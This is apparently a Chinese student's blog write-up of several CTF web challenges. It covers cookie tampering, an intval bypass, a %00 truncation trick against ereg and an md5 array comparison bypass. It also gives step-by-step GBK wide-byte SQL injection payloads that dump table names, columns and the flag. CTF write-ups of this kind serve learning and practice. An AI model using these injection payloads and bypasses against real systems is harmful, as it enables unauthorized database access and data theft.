Download~!题目打不开,跳过。

第十一题: COOKIE 链接:http://chinalover.sinaapp.com/web10/index.php

题目名字已经提示的很明显了,和cookie有关,并且页面上写了句请先登录,那应该就是更改cookie的值,于是f12,找到cookie的值

然后修改cookie的值并保存

f5刷新后,flag就显示在页面上了。

第十二题:MYSQL 链接:http://chinalover.sinaapp.com/web11/

看题目我还以为是SQL注入,点进去发现其实和robots协议有关,还很贴心的附上了百科介绍,可以的。看完百科,了解了一下,开始做题。进入http://chinalover.sinaapp.com/web11/robots.txt页面,页面上有一个TIP:sql.php,还有一段php源码,内容如下。

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

阅读源码,令id经过intval函数处理后等于1024且id在未处理前不==1024即可。intval是一个可将变量转换为整型变量的函数,所以我们令id=1024.x即可获得flag。

第十三题: GBK Injection 链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

还是看题名知入手点系列。首先先测试一下,id=’。得回显:

your sql:select id,title from news where id = ‘\”

据回显和题名可知,由于使用了GBK编码方式,所以可以使用一些特殊的字符去吃掉反斜杠这个字符。(一个gbk汉字占两个字节,第一个字节取值范围是(129-254),第二个字节取值范围是(64-254),使用gbk编码后,当遇到连续两个字节且都符合gbk取值范围时,这两个字节会自动解析为一个汉字。)

这里出现的反斜杠与 addslashes 函数有关,会转义单引号.

好,上面已经简单提到了原理了,那么现在我们开始构造payload。

payload1:%ef%27+union+select+1,database()+%23

2:%ef%27+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase())+%23

3:%ef%27+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name%3d0x63746634)+%23。其中 0x63746634 为ctf4转换为16进制的结果(用python,’ctf4′.encode(‘hex’)),至于为啥是ctf4,一个一个试呗。

4:%ef%27+union+select+1,(select+group_concat(flag)+from+ctf4)+%23 得到flag。

第十四题:/x00 链接:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php

直接给出了源码:

if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

阅读源码,其要求nctf需要为一串数字但又必须含有‘#biubiubiu’,查了一下发现ereg函数可以用%00来截断,于是构造payload:?nctf=21342453%00%23biubiubiu(%23是‘#’的URL编码)。 bypass again 阅读源码,其要求nctf需要为一串数字但又必须含有‘#biubiubiu’,查了一下发现ereg函数可以用%00来截断,于是构造payload:?nctf=21342453%00%23biubiubiu(%23是‘#’的URL编码)。

第十五题: bypass again 链接:http://chinalover.sinaapp.com/web17/index.php

同样给出源码:

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

要求传入a和b,a和b不能相同,但二者经md5函数处理后的a要==经md5函数处理后的b。这里可以使用和第二题一样的方法去做,也可以传入两个数组,因为md5函数无法处理数组,其返回值都会为NULL。构造payload:?a[]=234&b[]=24235。

考试周终于结束啦,寒假快乐。

Categories:

Tags:

No responses yet

发表评论

电子邮件地址不会被公开。 必填项已用*标注

闽ICP备19027300号